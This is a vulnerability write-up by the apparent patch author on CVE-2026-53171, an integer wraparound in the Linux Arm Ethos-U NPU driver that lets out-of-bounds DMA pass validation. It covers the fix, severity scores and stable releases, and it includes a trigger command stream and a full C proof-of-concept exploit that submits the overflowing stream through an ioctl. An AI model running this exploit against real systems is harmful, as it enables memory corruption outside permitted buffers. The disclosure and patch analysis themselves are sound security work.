# CVE-2026-53171: arithmetic wraparound that under-reported DMA regions in Ethos-U

**Patch:** [ee6d9b6e51626f259c6f0e38d94f91be4fd14754](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ee6d9b6e51626f259c6f0e38d94f91be4fd14754) (mainline, landed in 7.1)
**Subsystem:** accel/ethosu, Arm Ethos-U NPU driver
**Affected file:** drivers/accel/ethosu/ethosu_gem.c
**CVE record:** [CVE-2026-53171](https://www.cve.org/CVERecord?id=CVE-2026-53171)
**Introduced in:** 6.19, commit 5a5e9c0228e613f0ef2a58b9782d7c0ea8f1e58b

## The bug in one sentence

dma_length() derived a DMA region size from command stream values using unchecked signed additions and multiplications, and a wraparound in that arithmetic under-reported the region usage, defeating the very bounds check it was feeding.

## The validation that validated nothing

region_size[] is the data structure ethosu_job.c trusts when it validates that a command stream only touches memory inside the GEM buffers userspace registered. The derivation in dma_length() was, in spirit:

```c
len = ((len + stride[0]) * size0 + stride[1]) * size1
region_size[region] = max(..., len + dma->offset)
```

Four separate ways for userspace to corrupt that derivation, all command stream controlled:

* signed stride values underflow when added to len
* intermediate multiplications overflow
* len plus dma->offset overflows during the region_size update
* and dma_length() error returns were never checked by the caller, so failures flowed onward as values

Any of them can make region_size[region] come out small. The job-level validation then compares hardware's intended access against a number that no longer reflects the true span, and a DMA that runs outside the buffer passes validation. Same end state as CVE-2026-53170, different road: the check is only as good as the arithmetic that feeds it, and the arithmetic was attacker-influenced 64-bit math with no overflow discipline.

The fix brings in the kernel's overflow helpers at every step, validating signed additions, using check_mul_overflow() for the multiplications and the offset update, and propagating dma_length() failures to the caller instead of ignoring them. Full patch: [ee6d9b6e5162](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ee6d9b6e51626f259c6f0e38d94f91be4fd14754)

I will admit this is the least glamorous fix of my five Ethos-U patches: no single dramatic line, just converting a pile of trusting arithmetic into a pile of checked arithmetic. It is also arguably the most structurally important one, because it hardens the mechanism the other fixes lean on.

## How to trigger it

Build a stream whose DMA length derivation wraps. The ingredients are the DMA setup commands from ethosu_device.h: NPU_SET_DMA0_LEN (0x4032) plus the stride and size commands, finished with NPU_OP_DMA_START (0x10):

```c
unsigned int stream[] = {
    WORD(NPU_SET_DMA0_LEN,  0xffff),  /* maximum claimed length */
    WORD(NPU_SET_DMA0_STRIDE0, 0x8000),/* param interpreted signed: negative */
    WORD(NPU_SET_DMA0_SIZE0,  0x10),
    WORD(NPU_OP_DMA_START,   0),      /* go */
};
/* len + stride[0] underflows, the multiplications then produce a value that
 * truncates when stored into the u32 region_size[] entry */
```

Pre-fix, the wrapped arithmetic makes region_size[region] come out far smaller than the memory the DMA will actually touch, ethosu_job.c validates against that under-reported number, and the job passes validation while the NPU reads and writes outside the registered GEM buffer. The observable is NPU faults or corrupted buffer contents, not a clean kernel splat, which is what makes arithmetic bugs like this worth fixing even without a crash. Post-fix every step is checked and the submit fails with EINVAL instead.

## Score and classification

* Kernel CNA (mirrored by NVD as Secondary): 8.8 HIGH, vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
* NVD assigned no CWE at all ("NVD-CWE-noinfo"); Red Hat classifies CWE-190, integer overflow or wraparound, which is correct
* AWS's ALAS page displays its own 7.8 calculation (scope unchanged variant) while marking all Amazon Linux versions not affected
* Ubuntu: priority High

## Exploit code

Build the overflow out of the verified DMA opcodes: set a maximum length, then multiply it up through the size commands until the derived region size wraps on its way into the u32 region_size entry:

```c
/* ethosu_dma_wrap.c: CVE-2026-53171
 * gcc -o poc poc.c && ./poc /dev/accel/accel0
 * vulnerable kernel: wrapped region_size under-reports the DMA span and
 * the job-level bounds check passes; fixed: EINVAL on the overflow
 */
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <drm/ethosu_accel.h>

#define WORD(op, p) (((uint32_t)(p) << 16) | (uint32_t)(op))

int main(int argc, char **argv)
{
	uint32_t stream[] = {
		WORD(0x4032, 0xffff),   /* NPU_SET_DMA0_LEN = max */
		WORD(0x0132, 0xffff),   /* NPU_SET_DMA0_SIZE0 = max */
		WORD(0x0133, 0xffff),   /* NPU_SET_DMA0_SIZE1 = max */
		WORD(0x0010, 0x0000),   /* NPU_OP_DMA_START */
	};
	struct drm_ethosu_cmdstream_bo_create args = {0};
	int fd = open(argc > 1 ? argv[1] : "/dev/accel/accel0", O_RDWR);

	if (fd < 0) { perror("open"); return 1; }
	args.size = sizeof(stream);
	args.data = (uint64_t)(uintptr_t)stream;

	printf("ret %d errno %d (%s)\n",
	       ioctl(fd, DRM_IOCTL_ETHOSU_CMDSTREAM_BO_CREATE, &args),
	       errno, strerror(errno));
	return 0;
}
```

The derived length is roughly 0xffff cubed, about 2.8 times 10 to the 14, which cannot survive the u32 region_size store, so the recorded region usage is a fraction of what the DMA will actually touch. Pre-fix the submit succeeds and ethosu_job.c validates against the truncated number; the corruption shows up later as NPU faults on memory outside the registered buffer. Post-fix the checked multiplications reject the stream with EINVAL. Public status: no KEV, no public PoC before this note; fixed in 7.0.13 and 7.1, Ubuntu USN wave 8726-1 through 8800-1, Debian stable unaffected.

## Where the fix shipped

* 7.0.13: [6bb73845d185](https://git.kernel.org/stable/c/6bb73845d1855ceaf50e397175e5979a7bdf69bc)
* 7.1: [ee6d9b6e5162](https://git.kernel.org/stable/c/ee6d9b6e51626f259c6f0e38d94f91be4fd14754)

## References

1. [Upstream commit ee6d9b6e5162](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=ee6d9b6e51626f259c6f0e38d94f91be4fd14754)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026062552-CVE-2026-53171-acfd@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-53171)
4. [Red Hat tracker](https://access.redhat.com/security/cve/cve-2026-53171)
5. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-53171)
